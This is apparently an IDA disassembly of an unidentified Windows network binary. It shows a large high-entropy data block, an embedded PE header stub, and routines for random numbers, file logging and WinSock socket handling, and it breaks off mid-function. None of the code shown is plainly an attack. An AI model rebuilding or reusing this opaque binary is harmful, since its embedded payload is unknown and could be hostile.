dd 1B2682F4h, 91DD03A8h, 0B5188D4Ah, 0BD333938h, 0B544ADh
dd 88C0F7CCh, 0E6A3E42Fh, 1E481961h, 17F6421Eh, 9CB78522h
dd 0BF3BAA4h, 0E59EF1C9h, 635EAC76h, 0A705DCE2h, 0C91CD039h
dd 6EBF0804h, 0A3CE9990h, 7B51B22Ah, 0AA35EFEDh, 0E069C377h
dd 191FAF7Bh, 1E0FD870h, 8E244958h, 5A964F46h, 32EC8B41h
dd 2C4E04B3h, 9B3E89DEh, 0ECCF6A85h, 858C01E0h, 7FC60AC2h
dd 87CCB057h, 0AB7C8DAEh, 6F9AE229h, 772035A6h, 5A94A47Ch
dd 70397626h, 0A6A0EC6Eh, 1D870D7h, 2A729230h, 2208939Ah
dd 364BDBA2h, 15756475h, 7BBA8DAh, 4B302C98h, 799CC63Eh
dd 862176D8h, 998344CCh, 5BD303EFh, 663FD134h, 898B7A58h
dd 0D0DAAEAh, 53182165h, 1DF57E68h, 15A07DFBh, 76C3D9CBh
dd 0EA48F739h, 0D658C31Fh, 0AB3469AEh, 9B47ABD1h, 57C2EBBh
dd 91B5FA3Ah, 0A55F4780h, 2CCAC012h, 4C74830Fh, 0BEA82653h
dd 33B4541Ch, 779C8BE8h, 0FAE40440h, 8FCA1C7Ch, 6D0E213Eh
dd 0A8FD0D92h, 736F3FBAh, 5B3F36FCh, 27FB5122h, 92224D44h
dd 4E3903BEh, 0F6D427D8h, 0DA5764F1h, 0EAB77617h, 6713934Bh
dd 0BB4B943Fh, 57F1FD4Dh, 37982C14h, 18EAF0C1h, 5F20EAFFh
dd 78C4D81Ch, 62E3E1E4h, 0FDFA42DFh, 56467006h, 0A366271Fh
dd 85DF1106h, 0E52786B3h, 247ACFD5h, 16256B5Ch, 0BBEF2066h
dd 0F11F7308h, 6AD0F57Ch, 4B27B144h, 81300FDDh, 96F139D8h
dd 0E26D9C62h, 0A7073911h, 0F6CF675Eh, 1EAE1B1Fh, 0ECD221F5h
dd 8115B279h, 0C5B044FFh, 4B76303h, 71D1A124h, 7FCEE311h
dd 311FD75Dh, 7BE07E1Ch, 0BD86B529h, 47A6429Dh, 49C8D6BFh
dd 859DD0D6h, 0F09541B8h, 137E454Bh, 923A0F2Bh, 52942A09h
dd 0ECDF4274h, 0BF3B2D80h, 0B373B997h, 0A6CDDF64h, 12F30056h
dd 4B55A476h, 0E70D4284h, 312385ECh, 0EF6A9991h, 2AF683C1h
dd 0A71CBA92h, 788BFE04h, 411D9067h, 0B04F4F52h, 34DFE845h
dd 4E0B1DB9h, 961AF21h, 48B08423h, 48721D8Dh, 0A6A17A1Ch
dd 45C2C67Ah, 5E4EF092h, 36E9D8C3h, 0B11915A2h, 0B2C68DF2h
dd 1495FCB6h, 952E4A4Bh, 0E9418DCCh, 0C3304FBDh, 4539010Ch
dd 0AF7FDD3Ah, 0C7FF9CF3h, 8761C896h, 0F82E271h, 0D4099E3h
dd 0FA6FE460h, 9E48E0FDh, 0D134E152h, 4F0F52D9h, 0C4831AAh
dd 0D6524D38h, 93F6B512h, 0B83E0D9Bh, 5391788Bh, 8B22B979h
dd 0A8A6B71Ch, 28CB4D5Eh, 65A18A9Fh, 0FB22747Bh, 0C58817DBh
dd 0D90715F5h, 48641C27h, 0BA03AA0h, 91744F43h, 70223F63h
dd 0D0231BDBh, 0D293DBD6h, 0C5E6C0BBh, 0A8C73FF6h, 0FBA8D604h
dd 6CCE79Eh, 0B8EE7B2Ch, 28AE6423h, 0FC32C63Ch, 68C6A209h
dd 909BA812h, 567BDD4Ah, 0E897F7A7h, 3EBB543Ch, 72209EB3h
dd 2109F7A6h, 19CE9E55h, 0B238DD2Fh, 0C9A13DAEh, 8BF7A612h
dd 393B307Dh, 0C90FC6DAh, 68B56671h, 9E6B845Eh, 0EC9ACB2h
dd 555E6EC4h, 494464A5h, 0C8A7ED34h, 0D7772D44h, 0E976FF63h
dd 474BBB57h, 0E507D992h, 0E118EFE4h, 423D60CEh, 78D33192h
dd 6D9E0CFCh, 796612AAh, 31ED2497h, 0F181C1CEh, 7087B637h
dd 997C238Eh, 0EB9D5A06h, 64C49772h, 4F292F64h, 45D38B41h
dd 0BB0D2022h, 640B493Ah, 8A68D622h, 0D83C3524h, 0D4CCA542h
dd 75EE56B6h, 8D3E8645h, 234AAF40h, 1A13453Dh, 2A5C82C8h
dd 87E80F20h, 356163FDh, 0D93BD26Ah, 7173075Eh, 3E76ACD1h
dd 50304282h, 95A8DA31h, 0ECE22087h, 0DD56FD56h, 0CA0928FDh
dd 5B56E731h, 17AB02FCh, 0E34F2372h, 0A6E28DB3h, 9378033Bh
dd 99BC0FD8h, 4708D520h, 0F5B8DE24h, 0F405E493h, 59432FD5h
dd 84B0ED1h, 13882DC1h, 3FB605CDh, 34EE9C05h, 65BCF043h
dd 7D7DA270h, 0B95AA39Dh, 0AB425E43h, 457BE60Ah, 987D4F58h
dd 0FF62383h, 0FC67FB9Ah, 4F58BF9Ah, 0C5947291h, 924B4A8h
dd 1EC6B625h, 0F6A186C5h, 0A36752C1h, 0C8D61CD6h, 0B5513C3h
dd 0A1036CC9h, 8BD085CCh, 88E8342Fh, 46786EE9h, 82790BBFh
dd 23CD0097h, 23B7E556h, 9BAD2E42h, 0DAC5F484h, 0BFF917AFh
dd 0A64EED7Fh, 38F3DFE2h, 72BB2E5Bh, 73616DF5h, 0A03877B5h
dd 1FFEBBF9h, 6588A39Ah, 8848642Dh, 3CDF5B4Ch, 27196245h
dd 0B712C893h, 0F197454Eh, 6C48F4E9h, 14F57BC6h, 8153A382h
dd 7C0FCA93h, 0AC48BBFCh, 0F64C66BEh, 75A0ECEAh, 0D975C973h
dd 1504EE4Ah, 810D1097h, 59ABB383h, 4654AF83h, 0C4AE90B4h
dd 9DA7C5BAh, 0BE3F8081h, 1381B4Ah, 0B273DD49h, 0EE2414F9h
dd 713BF43Dh, 905A4D31h, 300h, 400h, 0FFFF00h, 0B800h
dd 0
dd 4000h, 8 dup(0)
dd 8000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h
dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
dd offset dword_455000
dd 4014C00h, 8F8C4B00h, 47h, 0
dd 0F00E000h, 2010B01h, 0C60032h, 1A60000h, 0
dd 7B6000h, 100000h, 0E00000h, 40000000h, 100000h, 20000h
dd 400h, 0
dd 400h, 0
dd 2A00000h, 40000h, 0
dd 200h, 10000000h, 100000h, 10000000h, 100000h, 0
dd 1000h, 2 dup(0)
dd 11A0C00h, 7800h, 1400000h, 156D000h, 12h dup(0)
dd 11CC400h, 24000h, 6 dup(0)
dd 65742E00h, 7478h, 0C4E600h, 100000h, 0C60000h, 40000h
dd 3 dup(0)
dd 2000h, 64722E60h, 617461h, 21EC00h, 0E00000h, 220000h
dd 0CA0000h, 3 dup(0)
dd 4000h, 61642E40h, 6174h, 2A8C00h, 1100000h, 180000h
dd 0EC0000h, 3 dup(0)
dd 4000h, 73722EC0h, 6372h, 156D000h, 1400000h, 1580000h
dd 1040000h, 3 dup(0)
dd 4000h, 40h, 79h dup(0)
db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_443322 proc near ; CODE XREF: DMN1:0044636Ep
; DMN1:00446D59p
arg_0 = dword ptr 4
push ebx
push esi
mov ebx, [esp+8+arg_0]
mov esi, [ebx]
jmp short loc_443334
; ---------------------------------------------------------------------------
loc_44332C: ; CODE XREF: sub_443322+14j
call dword_411CC4
mov esi, eax
loc_443334: ; CODE XREF: sub_443322+8j
test esi, esi
jz short loc_44332C
mov eax, esi
mov edx, 41C64E6Dh
mul edx
lea esi, [eax+3039h]
mov [ebx], esi
cmp dword ptr [ebx], 0
jnz short loc_443350
inc dword ptr [ebx]
loc_443350: ; CODE XREF: sub_443322+2Aj
mov eax, esi
shr eax, 10h
and eax, 7FFFh
pop esi
pop ebx
retn
sub_443322 endp
; =============== S U B R O U T I N E =======================================
sub_44335D proc near ; CODE XREF: sub_448AD1+20p
push offset dword_41285C
call dword_411CC8
retn
sub_44335D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443369 proc near ; CODE XREF: sub_44354B+35p
; sub_443CE4+Bp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push offset dword_41285C
call dword_411CCC
push 1
mov eax, [ebp+arg_0]
push eax
call sub_449121
pop ecx
pop ecx
mov ebx, eax
push offset dword_41285C
call dword_411CD0
mov eax, ebx
pop ebx
pop ebp
retn
sub_443369 endp
; =============== S U B R O U T I N E =======================================
sub_443397 proc near ; CODE XREF: sub_44354B+1Fp
; sub_443D5C+Bp ...
arg_0 = dword ptr 4
push offset dword_41285C
call dword_411CCC
push [esp+arg_0]
call sub_4494D1
pop ecx
push offset dword_41285C
call dword_411CD0
retn
sub_443397 endp
; =============== S U B R O U T I N E =======================================
sub_4433B8 proc near ; CODE XREF: sub_448AD1+2Ap
push offset dword_412874
call dword_411CC8
retn
sub_4433B8 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 100h
push ebx
push esi
push edi
xor esi, esi
cmp dword ptr [ebp+8], 0
jz loc_44347F
push 0FFFFFFF5h
call dword_411CD4
cmp eax, 0FFFFFFFFh
jz loc_44347F
push offset dword_412874
call dword_411CCC
lea edi, [ebp+0Ch]
push edi
push dword ptr [ebp+8]
push 100h
lea eax, [ebp-100h]
push eax
call sub_4495A1
add esp, 10h
mov ebx, eax
cmp ebx, 0FFh
jbe short loc_443461
push 1
lea eax, [ebx+80h]
push eax
call sub_449121
pop ecx
pop ecx
mov esi, eax
lea edi, [ebp+0Ch]
push edi
push dword ptr [ebp+8]
lea eax, [ebx+1Fh]
push eax
push esi
call sub_4495A1
add esp, 10h
mov ebx, eax
push esi
push offset aS_0 ; "%s"
call sub_449641
pop ecx
pop ecx
push esi
call sub_4494D1
pop ecx
jmp short loc_443474
; ---------------------------------------------------------------------------
loc_443461: ; CODE XREF: DMN1:00443421j
lea eax, [ebp-100h]
push eax
push offset aS_0 ; "%s"
call sub_449641
pop ecx
pop ecx
loc_443474: ; CODE XREF: DMN1:0044345Fj
push offset dword_412874
call dword_411CD0
loc_44347F: ; CODE XREF: DMN1:004433D7j
; DMN1:004433EDj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_443486 proc near ; CODE XREF: sub_448AD1+25p
push offset dword_41288C
call dword_411CC8
retn
sub_443486 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 10h
push ebx
lea eax, [ebp-10h]
push eax
call dword_411CD8
cmp word ptr [ebp-8], 0Ch
jnb short loc_4434B1
mov ebx, offset aAm ; "AM"
jmp short loc_4434B6
; ---------------------------------------------------------------------------
loc_4434B1: ; CODE XREF: DMN1:004434A8j
mov ebx, offset aPm ; "PM"
loc_4434B6: ; CODE XREF: DMN1:004434AFj
push ebx
movzx eax, word ptr [ebp-4]
push eax
movzx eax, word ptr [ebp-6]
push eax
movzx eax, word ptr [ebp-8]
mov ecx, 0Ch
cdq
idiv ecx
push edx
movzx eax, word ptr [ebp-10h]
mov ecx, 64h
cdq
idiv ecx
push edx
movzx eax, word ptr [ebp-0Ah]
push eax
movzx eax, word ptr [ebp-0Eh]
push eax
push offset a02i02i02iIIIS ; "%02i/%02i/%02i %i:%i:%i%s"
push dword ptr [ebp+8]
call sub_4496A1
add esp, 24h
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push eax
push ebx
push offset dword_41288C
call dword_411CCC
push offset aA ; "a"
push dword ptr [ebp+8]
call sub_4496E1
pop ecx
pop ecx
mov ebx, eax
test ebx, ebx
jz short loc_44353B
lea eax, [ebp+10h]
mov [ebp-4], eax
push dword ptr [ebp-4]
push dword ptr [ebp+0Ch]
push ebx
call sub_449791
add esp, 0Ch
push ebx
call sub_449941
pop ecx
loc_44353B: ; CODE XREF: DMN1:0044351Dj
push offset dword_41288C
call dword_411CD0
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44354B proc near ; CODE XREF: sub_448AD1+4Bp
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov ebx, [ebp+arg_0]
jmp short loc_443570
; ---------------------------------------------------------------------------
loc_443558: ; CODE XREF: sub_44354B+2Cj
dec dword_411000
mov eax, dword_411000
push dword_4128A4[eax*4]
call sub_443397
pop ecx
loc_443570: ; CODE XREF: sub_44354B+Bj
cmp dword_411000, 0
jnz short loc_443558
jmp short loc_4435EC
; ---------------------------------------------------------------------------
loc_44357B: ; CODE XREF: sub_44354B+ADj
push 401h
call sub_443369
pop ecx
mov edx, dword_411000
mov dword_4128A4[edx*4], eax
cmp byte ptr [ebx], 22h
jnz short loc_44359F
inc ebx
mov [ebp+var_1], 22h
jmp short loc_4435A3
; ---------------------------------------------------------------------------
loc_44359F: ; CODE XREF: sub_44354B+4Bj
mov [ebp+var_1], 20h
loc_4435A3: ; CODE XREF: sub_44354B+52j
and [ebp+var_8], 0
mov eax, dword_411000
lea edx, [eax+1]
mov dword_411000, edx
mov esi, dword_4128A4[eax*4]
jmp short loc_4435C4
; ---------------------------------------------------------------------------
loc_4435BE: ; CODE XREF: sub_44354B+8Bj
mov al, [ebx]
mov [esi], al
inc esi
inc ebx
loc_4435C4: ; CODE XREF: sub_44354B+71j
mov al, [ebx]
test al, al
jz short loc_4435D8
cmp al, [ebp+var_1]
jz short loc_4435D8
cmp [ebp+var_8], 400h
jl short loc_4435BE
loc_4435D8: ; CODE XREF: sub_44354B+7Dj
; sub_44354B+82j
cmp [ebp+var_1], 22h
jnz short loc_4435E7
cmp byte ptr [ebx], 22h
jnz short loc_4435E7
inc ebx
jmp short loc_4435E7
; ---------------------------------------------------------------------------
loc_4435E6: ; CODE XREF: sub_44354B+9Fj
inc ebx
loc_4435E7: ; CODE XREF: sub_44354B+91j
; sub_44354B+96j ...
cmp byte ptr [ebx], 20h
jz short loc_4435E6
loc_4435EC: ; CODE XREF: sub_44354B+2Ej
cmp byte ptr [ebx], 0
jz short loc_4435FA
cmp dword_411000, 20h
jl short loc_44357B
loc_4435FA: ; CODE XREF: sub_44354B+A4j
mov eax, dword_411000
and dword_4128A4[eax*4], 0
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44354B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44360D proc near ; CODE XREF: sub_448AD1+256p
var_190 = byte ptr -190h
push ebp
mov ebp, esp
sub esp, 190h
push ebx
push esi
mov bx, 2
lea eax, [ebp+var_190]
push eax
movzx eax, bx
push eax
call sub_44908F
mov esi, eax
test esi, esi
jz short loc_44365D
mov bx, 101h
lea eax, [ebp+var_190]
push eax
movzx eax, bx
push eax
call sub_44908F
mov esi, eax
test esi, esi
jz short loc_443650
xor eax, eax
jmp short loc_44366B
; ---------------------------------------------------------------------------
loc_443650: ; CODE XREF: sub_44360D+3Dj
push offset aWinsock1_1Init ; "WinSock 1.1 initialized.\n"
call nullsub_4
pop ecx
jmp short loc_443668
; ---------------------------------------------------------------------------
loc_44365D: ; CODE XREF: sub_44360D+23j
push offset aWinsock2_xInit ; "WinSock 2.x initialized.\n"
call nullsub_4
pop ecx
loc_443668: ; CODE XREF: sub_44360D+4Ej
xor eax, eax
inc eax
loc_44366B: ; CODE XREF: sub_44360D+41j
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44360D endp
; ---------------------------------------------------------------------------
call sub_449095
xor eax, eax
inc eax
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44367A proc near ; CODE XREF: sub_444BB7+BDp
; DMN1:0044603Cp ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push eax
push ebx
push 6
push 1
push 2
call sub_44909B
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_443698
xor eax, eax
jmp short loc_4436EE
; ---------------------------------------------------------------------------
loc_443698: ; CODE XREF: sub_44367A+18j
mov [ebp+var_4], 112A880h
push 4
lea eax, [ebp+var_4]
push eax
push 1005h
push 0FFFFh
push ebx
call sub_4490A1
mov [ebp+var_4], 112A880h
push 4
lea eax, [ebp+var_4]
push eax
push 1006h
push 0FFFFh
push ebx
call sub_4490A1
mov [ebp+var_4], 1
push 4
lea eax, [ebp+var_4]
push eax
push 8
push 0FFFFh
push ebx
call sub_4490A1
mov eax, ebx
loc_4436EE: ; CODE XREF: sub_44367A+1Cj
pop ebx
mov esp, ebp
pop ebp
retn
sub_44367A endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push eax
push ebx
push 6
push 1
push 2
call sub_44909B
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_443711
xor eax, eax
jmp short loc_443772
; ---------------------------------------------------------------------------
loc_443711: ; CODE XREF: DMN1:0044370Bj
imul eax, [ebp+0Ch], 3E8h
mov [ebp-4], eax
push 4
lea eax, [ebp-4]
push eax
push 1005h
push 0FFFFh
push ebx
call sub_4490A1
imul eax, [ebp+8], 3E8h
mov [ebp-4], eax
push 4
lea eax, [ebp-4]
push eax
push 1006h
push 0FFFFh
push ebx
call sub_4490A1
xor eax, eax
cmp dword ptr [ebp+10h], 0
setnz al
mov [ebp-4], eax
push 4
lea eax, [ebp-4]
push eax
push 8
push 0FFFFh
push ebx
call sub_4490A1
mov eax, ebx
loc_443772: ; CODE XREF: DMN1:0044370Fj
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push eax
push ebx
mov ebx, [ebp+8]
imul eax, [ebp+10h], 3E8h
mov [ebp-4], eax
push 4
lea eax, [ebp-4]
push eax
push 1005h
push 0FFFFh
push ebx
call sub_4490A1
imul eax, [ebp+0Ch], 3E8h
mov [ebp-4], eax
push 4
lea eax, [ebp-4]
push eax
push 1006h
push 0FFFFh
push ebx
call sub_4490A1
xor eax, eax
cmp dword ptr [ebp+14h], 0
setnz al
mov [ebp-4], eax
push 4
lea eax, [ebp-4]
push eax
push 8
push 0FFFFh
push ebx
call sub_4490A1
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_4437E3 proc near ; CODE XREF: sub_4448CA+15Dp
; sub_4448CA+1B4p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_4490A7
xor eax, eax
inc eax
retn
sub_4437E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4437F0 proc near ; CODE XREF: DMN1:00446B55p
; DMN1:00446BCFp
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10Ch
push ebx
push esi
mov ebx, [ebp+arg_0]
and [ebp+var_10C], 0
and [ebp+var_108], 0
and [ebp+var_104], 0
cmp [ebp+var_104], 40h
jnb short loc_443832
mov eax, [ebp+var_104]
lea edx, [eax+1]
mov [ebp+var_104], edx
mov [ebp+eax*4+var_100], ebx
loc_443832: ; CODE XREF: sub_4437F0+2Aj
lea eax, [ebp+var_10C]
push eax
push 0
push 0
lea eax, [ebp+var_104]
push eax
push 0
call sub_4490AD
mov esi, eax
cmp eax, 0FFFFFFFFh
jz short loc_44385D
test esi, esi
jnz short loc_44385A
xor eax, eax
jmp short loc_44385D
; ---------------------------------------------------------------------------
loc_44385A: ; CODE XREF: sub_4437F0+64j
xor eax, eax
inc eax
loc_44385D: ; CODE XREF: sub_4437F0+60j
; sub_4437F0+68j
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4437F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443863 proc near ; CODE XREF: sub_444883+13p
; sub_4448CA+1F5p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push eax
push ebx
lea eax, [ebp+var_4]
push eax
push 4004667Fh
push [ebp+arg_0]
call sub_4490B3
mov ebx, eax
cmp eax, 0FFFFFFFFh
jz short loc_443883
mov eax, [ebp+var_4]
loc_443883: ; CODE XREF: sub_443863+1Bj
pop ebx
mov esp, ebp
pop ebp
retn
sub_443863 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443888 proc near ; CODE XREF: sub_4448CA+14Ep
; sub_444BB7+DBp ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = word ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push 10h
push 0
lea eax, [ebp+var_10]
push eax
call sub_4499B1
add esp, 0Ch
mov [ebp+var_10], 2
mov eax, [ebp+arg_4]
mov [ebp+var_C], eax
movzx eax, [ebp+arg_8]
push eax
call sub_4490B9
mov [ebp+var_E], ax
lea ebx, [ebp+var_10]
push 10h
push ebx
push [ebp+arg_0]
call sub_4490BF
cmp eax, 0FFFFFFFFh
jnz short loc_4438D0
xor eax, eax
jmp short loc_4438D3
; ---------------------------------------------------------------------------
loc_4438D0: ; CODE XREF: sub_443888+42j
xor eax, eax
inc eax
loc_4438D3: ; CODE XREF: sub_443888+46j
pop ebx
mov esp, ebp
pop ebp
retn
sub_443888 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4438D8 proc near ; CODE XREF: DMN1:00446D98p
; DMN1:00448101p
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = word ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push 10h
push 0
lea eax, [ebp+var_10]
push eax
call sub_4499B1
add esp, 0Ch
mov [ebp+var_10], 2
mov eax, [ebp+arg_4]
mov [ebp+var_C], eax
movzx eax, [ebp+arg_8]
push eax
call sub_4490B9
mov [ebp+var_E], ax
lea ebx, [ebp+var_10]
push 10h
push ebx
push [ebp+arg_0]
call sub_4490C5
cmp eax, 0FFFFFFFFh
jnz short loc_443920
xor eax, eax
jmp short loc_443923
; ---------------------------------------------------------------------------
loc_443920: ; CODE XREF: sub_4438D8+42j
xor eax, eax
inc eax
loc_443923: ; CODE XREF: sub_4438D8+46j
pop ebx
mov esp, ebp
pop ebp
retn
sub_4438D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443928 proc near ; CODE XREF: DMN1:00446F18p
; DMN1:0044811Ep
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 5
push [ebp+arg_0]
call sub_4490CB
test eax, eax
jge short loc_44393D
xor eax, eax
jmp short loc_443940
; ---------------------------------------------------------------------------
loc_44393D: ; CODE XREF: sub_443928+Fj
xor eax, eax
inc eax
loc_443940: ; CODE XREF: sub_443928+13j
pop ebp
retn
sub_443928 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443942 proc near ; CODE XREF: DMN1:00448139p
var_14 = dword ptr -14h
var_10 = word ptr -10h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push 10h
push 0
lea eax, [ebp+var_10]
push eax
call sub_4499B1
add esp, 0Ch
mov [ebp+var_10], 2
mov [ebp+var_14], 10h
lea esi, [ebp+var_10]
lea eax, [ebp+var_14]
push eax
push esi
push [ebp+arg_0]
call sub_4490D1
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_443985
xor eax, eax
jmp short loc_443987
; ---------------------------------------------------------------------------
loc_443985: ; CODE XREF: sub_443942+3Dj
mov eax, ebx
loc_443987: ; CODE XREF: sub_443942+41j
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_443942 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44398D proc near ; CODE XREF: DMN1:00446F30p
var_14 = dword ptr -14h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov ebx, [ebp+arg_8]
mov edx, [ebp+arg_4]
and dword ptr [edx], 0
mov word ptr [ebx], 0
push 10h
push 0
lea eax, [ebp+var_10]
push eax
call sub_4499B1
add esp, 0Ch
mov [ebp+var_10], 2
mov [ebp+var_14], 10h
lea edi, [ebp+var_10]
lea eax, [ebp+var_14]
push eax
push edi
push [ebp+arg_0]
call sub_4490D1
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_4439DF
xor eax, eax
jmp short loc_4439F6
; ---------------------------------------------------------------------------
loc_4439DF: ; CODE XREF: sub_44398D+4Cj
mov edx, [ebp+arg_4]
mov eax, [ebp+var_C]
mov [edx], eax
movzx eax, [ebp+var_E]
push eax
call sub_4490D7
mov [ebx], ax
mov eax, esi
loc_4439F6: ; CODE XREF: sub_44398D+50j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44398D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4439FD proc near ; CODE XREF: sub_443ECD+44p
; sub_443ECD+A3p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+arg_4]
mov edi, [ebp+arg_8]
jmp short loc_443A28
; ---------------------------------------------------------------------------
loc_443A0B: ; CODE XREF: sub_4439FD+2Dj
push 0
push [ebp+arg_8]
push ebx
push [ebp+arg_0]
call sub_4490DD
mov esi, eax
test esi, esi
jg short loc_443A24
or eax, 0FFFFFFFFh
jmp short loc_443A2F
; ---------------------------------------------------------------------------
loc_443A24: ; CODE XREF: sub_4439FD+20j
sub edi, esi
add ebx, esi
loc_443A28: ; CODE XREF: sub_4439FD+Cj
test edi, edi
jg short loc_443A0B
mov eax, [ebp+arg_8]
loc_443A2F: ; CODE XREF: sub_4439FD+25j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4439FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443A34 proc near ; CODE XREF: sub_4448CA+1E3p
; sub_444BB7+149p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+arg_8]
mov edi, ebx
xor ebx, ebx
jmp short loc_443A63
; ---------------------------------------------------------------------------
loc_443A43: ; CODE XREF: sub_443A34+31j
push 0
push ebx
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4490DD
mov esi, eax
test esi, esi
jle short loc_443A67
sub edi, esi
mov eax, [ebp+arg_4]
add eax, esi
mov [ebp+arg_4], eax
add ebx, esi
loc_443A63: ; CODE XREF: sub_443A34+Dj
test edi, edi
jg short loc_443A43
loc_443A67: ; CODE XREF: sub_443A34+21j
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
retn
sub_443A34 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+10h]
mov edi, ebx
xor ebx, ebx
jmp short loc_443A9D
; ---------------------------------------------------------------------------
loc_443A7D: ; CODE XREF: DMN1:00443A9Fj
push 0
push ebx
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_4490DD
mov esi, eax
test esi, esi
jle short loc_443AA1
sub edi, esi
mov eax, [ebp+0Ch]
add eax, esi
mov [ebp+0Ch], eax
add ebx, esi
loc_443A9D: ; CODE XREF: DMN1:00443A7Bj
test edi, edi
jg short loc_443A7D
loc_443AA1: ; CODE XREF: DMN1:00443A8Fj
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443AA8 proc near ; CODE XREF: sub_443DFB+97p
; sub_4448CA+1A4p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+arg_4]
mov edi, [ebp+arg_8]
jmp short loc_443AD3
; ---------------------------------------------------------------------------
loc_443AB6: ; CODE XREF: sub_443AA8+2Dj
push 0
push [ebp+arg_8]
push ebx
push [ebp+arg_0]
call sub_4490E3
mov esi, eax
test esi, esi
jg short loc_443ACF
or eax, 0FFFFFFFFh
jmp short loc_443ADA
; ---------------------------------------------------------------------------
loc_443ACF: ; CODE XREF: sub_443AA8+20j
sub edi, esi
add ebx, esi
loc_443AD3: ; CODE XREF: sub_443AA8+Cj
test edi, edi
jg short loc_443AB6
mov eax, [ebp+arg_8]
loc_443ADA: ; CODE XREF: sub_443AA8+25j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_443AA8 endp
; =============== S U B R O U T I N E =======================================
sub_443ADF proc near ; CODE XREF: DMN1:00443BA3p
; DMN1:00445F90p ...
arg_0 = dword ptr 4
push ebx
push esi
xor esi, esi
push [esp+8+arg_0]
call sub_4490E9
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_443B13
push [esp+8+arg_0]
call sub_4490EF
mov esi, eax
test esi, esi
jnz short loc_443B0A
or eax, 0FFFFFFFFh
jmp short loc_443B15
; ---------------------------------------------------------------------------
